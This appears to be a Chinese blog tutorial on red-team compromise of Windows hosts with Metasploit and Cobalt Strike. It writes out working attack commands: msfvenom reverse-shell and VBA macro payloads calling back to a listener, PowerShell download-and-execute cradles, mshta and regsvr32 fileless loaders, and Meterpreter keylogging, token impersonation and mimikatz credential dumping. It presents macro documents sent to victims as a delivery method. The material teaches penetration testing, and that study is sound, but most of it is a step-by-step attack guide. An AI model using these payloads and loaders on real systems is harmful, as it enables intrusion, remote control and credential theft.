5.使用漏洞利用的方式攻破目标之主机篇

0x01. 漏洞的概述

1. 漏洞概述

漏洞是程序或系统造成的缺失从而导致的

漏洞可以分为两种,一种是系统漏洞另一种是服务漏洞,系统漏洞比如前段时间爆出的CVE-2020-0796_RCE漏洞,该漏洞可以直接通过脚本来进行复现,其中服务漏洞,例如Apache解析了漏洞就算一种服务漏洞,我们可以上传图片到指定的网站来进行网页木马执行。

在红队攻防的时候,当我们打入内网的时候,我们就需要详细的进行了解该内网的一个资产情况,之后再对其分析存活主机的漏洞情况,之后再通过漏洞去横向其他机器。

image-20210704104641528

2. Windows主机漏洞

  • CVE-2008-4250 MSO8-067是处于XP上的一个漏洞,可直接攻破主机拿到权限
  • MS12-020死亡蓝屏在主机开启3389的情况下,我们可以使用该漏洞直至对方蓝屏
  • 永恒之蓝永恒之蓝这个漏洞大家应该熟悉,当年被wanna cry利用勒索
  • CVE-2019-0708该漏洞是RDP远程执行漏洞可以对其直接执行命令或蓝屏
  • CVE-2020-0796该漏洞处于Windows10下可直接rce

3. Windows程序漏洞

  • Chrome浏览器漏洞

  • phpstudy后门远程执行

  • hfs.exe文件服务器工具远程执行

  • 小皮面板

  • Filezilla第三方提权

0x02. metasploit漏洞利用框架

1. metasploit漏洞利用框架

它的全称叫做The Metasploit Framework,简称叫做MSF。Metasploit作为全球最受欢迎的工具,不仅仅是因为它的方便性和强大性,更重要的是它的框架。它允许使用者开发自己的漏洞脚本,从而进行测试。

几乎任何公开通用漏洞都会被添加到Metasploit的武器库里,所以用好Metasploit是渗透致胜的关键。

msf的安装可以使用kali linux自带的,或者直接从网上下载

wget https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run

2. MSF配置监听

1.开始设置监听
use exploit/multi/handler 
2.设置patyload
set payload windows/meterpreter/reverse_tcp
3.查看配置
show options

3. metasploit配置监听问题

  • 在配置监听之前,我们需要明确的知道生成x64和x86版本的木马
  • 如监听器是64位,上线32位的木马,那么就会造成很大的问题
  • 例如我们在对永恒之蓝攻击的时候就会造成机器的蓝屏故障

4. MSF生成木马

msfvenom -p payload LHOST=本地地址 LPORT=本地端口 -f 文件类型 -o 木马文件
如:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.115 LPORT=4443 -f exe >shell.exe

配置好即可连接,点击exe执行即可上线

image-20210704110501115

shell         进入windows平台的cmd , 如果乱码 chcp 65001 (设置英文编码)

补充 :msfvenom的常用命令 https://www.cnblogs.com/ChangeEverything/p/13862642.html

5. MSF的常用session操作

background                                 返回主监听隐藏
session. sessions -i [ID]                可进入某个session
portfwd add -l 3389-p 3389 -r [target host]                  可实现于端口转发
upload                                         上传文件
download                                    下载文件
keyscan_start和keyscan_dump    可实现键盘记录
screenshot                                   截图
run vnc                                         远程桌面监控 , 一般不建议,很容易被杀
getsystem                                    获取超级系统权限
migrate                                        进程迁移

6. 基于MSF的端口扫描

search auxiliary/scanner/portscan

使用tcp扫描做一个演示

image-20210704113203257

image-20210704113227849

7. 收集内网smb信息

1.通过收集smb版本信息 , 查看使用的操作系统版本 , 如果大多是win10 , 很有可能是一个办公网
如果是win7 或者 win7 server的话 , 可能是一个服务内网

image-20210704113644122

image-20210704113712923

8. MSF针对系统漏洞验证

在MSF中,前缀为: auxiliary,大部分都是漏洞验证模块,我们可以使用其验证模块来鉴定

目标系统是否存在漏洞。

image-20210704113840687

9. MSF针对系统漏洞利用

我们使用MSF对其攻破Windows主机,利用漏洞目标为:永恒之蓝

接下来,我会讲解各个操作:

image-20210704114139136

image-20210704114157646

10. MSF利用宏病毒上线

使用该命令即可创建宏文件·操作流程我会给大家演示

生成恶意宏代码

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.115 lport=6666 -f vba -o /var/www/html/shell.vba

然后新建一个doc文档,录制宏,停止录制,然后编辑宏,把生成的代码替换原本的宏代码,保存退出

然后把doc发给靶机 , 打开就上线 , 前提是对方开了支持宏,默认是关闭的

11. MSF利用浏览器漏洞上线

browser_autopwn是Metasploit提供的辅助功能模块,在用户访问Web页面时,它会自动攻击受害者的浏览器,在开始攻击之前 , browser_autopwn能够检测用户使用的浏览器类型 , browser_autopwn将根据浏览器的检测结果,自行部署最合适的exploit。

我们可以使用browser自动化的攻击浏览器。会生成一个url地址 , 受害者浏览器访问 , 有漏洞才会攻击成功

image-20210704180354959

0x03. msf后渗透利用

前提是已经上线了

1. MSF假冒令牌

msf可以假冒令牌进行伪造身份提权

use incognito              使用模块list_tokens -u              查看可用的令牌impersonate_token     导入令牌

2. MSF提权getsystem命令

在了解getsystem命令之前了解一下命名管道,命名管道基于smb协议通信,smb,smb

它是用来让两个进程间进行通信的,这两个进程可以是本地进程,也可以是远程进程。命名管道有点类似于socket连接,是用来传输数据的,可以设置具体的权限让指定权限的进程才能连接命名管道,理论上每个程序都能连接命名管道,只是连接之后能做的事情不同,具体能做什么事跟服务端的配置有关系。

原理过程 : 在一个拥有SelmpersonatePrivilege权限的用户(User组)启动一个进程,这个进程的作用是创建一个命名管道等待连接,连接成功后模拟客户端的权限,并用这个权限启动一个cmd窗口。

但是不保证百分之百提权成功

3. MSF使用ms16_032提权

使用方法直接搜search ms16_032

之后去设置session ID,就可以对其进行提权了

4. MSF使用mimikatz

前提是system权限 但是msf6中mimikatz就已经改名字了,名字为kiwi

在后渗透中,mimikatz也是非常重要的一块,msf也自带了mimikatz模块

load mimikatzl         载入模块creds_allhelp kiwikiwi_cmd "命令"      即可使用

0x04. cobalt strike 工具

1. CS介绍

Cobalt Strike是一款渗透测试神器,简称:CS,常被业界人称为CS神器。Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。

CS具有一个服务端和一个客户端,服务端可以进行多人连接(多人运动),之后对其高级APT威胁,针对于红队而言,大部分远控都是使用的CS来进行控制的,因为界面化的操作更好的管理其主机。

image-20210704212545697

2. CS监听器介绍

监听器类似于我们刚刚在MSF中学到的端口监听,因为主机上线需要连接一个监听的端口这样才能实现我们进行控制,在CS中,监听器默认是HTTP协议的。

设置监听端口只需要输入 ip port name 然后保存就好了

image-20210704212630689

3. CS上线类型

CS支持多种花样上线模式,在这里逐个给大家介绍 :

1. exe上线

生成直接双击执行 , 没啥好说的

2. powershell command 上线

第一步选择payload生成

image-20210704220657381

image-20210704220726604

第二步将生成的payload在靶机的命令行回车执行 , 上线

image-20210704220829886

image-20210704220914913

3. Scripted Web Delivery(S)上线

第一步选择相应的攻击方式

image-20210704220231912

第二步输入配置 , 生成

image-20210704220319694

image-20210704220340386

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.0.115:8085/abc'))"

本质上也是通过powershell远程加载上线 (可能360会拦截,测试没拦截)

第三步靶机命令行中输入生成的命令

image-20210704220617832

4. 通过宏病毒上线

跟msf那个一样的操作生成宏病毒 , 然后更换原本的宏代码

image-20210704221237825

image-20210704221648849

image-20210704221700208

5. mshta 上线

首先生成一个hta文件

image-20210704221810897

image-20210704221837279

然后通过cs开启一个web服务

image-20210704222018645

选择对应的文件下载

image-20210704222251628

image-20210704222138866

image-20210704222157715

最后在靶机执行命令

mshta http://192.168.0.115:8086/download/file.hta

image-20210704222404256

复现失败 , 百度解决问题

6. DLL文件上线

首先生成dll文件

image-20210704222939260

image-20210704223007128

将生成的dll文件上传到靶机 , 然后在靶机注册dll文件上线

regsvr32 artifact.dll

image-20210704223235038

4. CS无文件上线

在木马不免杀的情况下,无文件上线是最好的选择

1. mshta 远程地址

2.powershell.exe -nop -w hidden -c "IEX((new-object
net.webclient).downloadstring('http://192.168.0.133/payload.ps1'))"

3.regsvr32 /u /n /s li:http://127.0.0.1:80/a.png scrobj.dll

4.使用自带的远程无文件加载脚本功能

5. CS和msf的相互派生

cs会话派生给msf

1. 首先msf先监听一个端口

image-20210704224209481

2.cs新建一个监听器

image-20210704224406167

3.选中上线的靶机,增加会话

image-20210704224515537

image-20210704224528422

派生成功 ,但是我这边没有显示meterprete

image-20210704224719298

msf派生给cs

msf中的操作
上线后将会话放置后台
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set LHOST 192.168.0.163                cs的ip
set LPORT 8288                               cs监听的端口
set session 1
set DisablePayloadHandler true
run

6. 祷杌插件介绍

祷杌是一款多功能的插件,该插件内置提权,mimikatz等功能,可方便我们进行内网渗透。

github搜索 taowu即可 

安装步骤 :导入插件,选择下载中的cna文件即可

image-20210705203448160

image-20210705221042606

posted @ 2021-12-22 22:30  Mn猿  阅读(199)  评论(0编辑  收藏  举报